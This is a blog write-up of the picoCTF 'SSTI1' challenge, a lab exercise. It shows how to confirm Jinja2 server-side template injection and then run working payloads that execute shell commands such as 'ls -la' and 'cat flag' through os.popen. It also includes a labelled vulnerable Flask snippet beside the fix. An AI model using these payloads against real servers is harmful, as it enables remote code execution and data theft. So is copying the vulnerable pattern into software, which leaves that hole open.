Sitemap
Fuad Hasan

Fuad Hasan

Differences give birth to new things

SSTI1 — picoCTF

3 min readSep 6, 2026

--

Press enter or click to view image in full size

Challenge link:

https://learn.cylabacademy.org/library/492?page=1&workspace=true

Description:

I made a cool website where you can announce whatever you want! Try it out!

Let’s Drive to Find the Flag ->

Step-01:

Launch the challenge instance and access the target web page. The site presents a minimal interface with the prompt:

“I built a cool website that lets you announce whatever you want!”

A single input field allows the user to submit an announcement string via a POST or GET request.

Step-02:

To determine if the application dynamically renders user input within a template engine, submit a mathematical expression inside standard Jinja2 syntax:

{{ 7 * 7 }}

Upon submission, the web application renders the calculated value:

49
Press enter or click to view image in full size
Press enter or click to view image in full size

This confirms that user input is evaluated dynamically on the server side rather than being treated as plain text or properly escaped.

Step-03:

Leverage Python’s object inheritance within Jinja2 to access the os module or an execution popen subclass, and execute ls -la:

Get Fuad Hasan’s stories in your inbox

Join Medium for free to get updates from this writer.

Code snippet

{{ self._TemplateReference__context.namespace['__builtins__'].__import__('os').popen('ls -la').read() }}

The server returns the directory listing:

Press enter or click to view image in full size

Notice the presence of the flag file in the working directory.

Final step:

Execute a command to read the contents of the flag file using the injection payload:

{{ self._TemplateReference__context.namespace['__builtins__'].__import__('os').popen('cat flag').read() }}

The server evaluates the payload and returns the target flag directly on the web page:

Press enter or click to view image in full size

Root Cause

The vulnerability is caused by Server-Side Template Injection (SSTI) in the Flask/Jinja2 framework:

  • Direct String Formatting in Templates: Instead of passing user input into the template context using arguments like render_template_string(template, name=user_input) or using external template files with render_template(), the application concatenates or embeds user input directly into the template format string before compilation.
  • Lack of Context Isolation: Jinja2 environment configurations allow traversing Python’s MRO (Method Resolution Order) and accessing built-in modules, leading from injection straight to Remote Code Execution (RCE).

Remediation & Fix

  • Pass Data as Template Context: Never concatenate user input into the template string. Use parameterized template rendering so the engine treats user input strictly as data.
  • Enable Template Sandboxing: If dynamic template generation from untrusted users is required, use Jinja2’s SandboxedEnvironment to restrict access to dangerous internal attributes and methods.

Example Vulnerable Code:

# VULNERABLE: Direct concatenation of user input into the template string
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def home():
announcement = request.form.get('announcement', '')
template = f"<h1>Home</h1><p>{announcement}</p>"
return render_template_string(template)

Secure Implementation:

# SECURE: Passing input as a template variable
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def home():
announcement = request.form.get('announcement', '')
template = "<h1>Home</h1><p>{{ announcement }}</p>"
return render_template_string(template, announcement=announcement)

--

--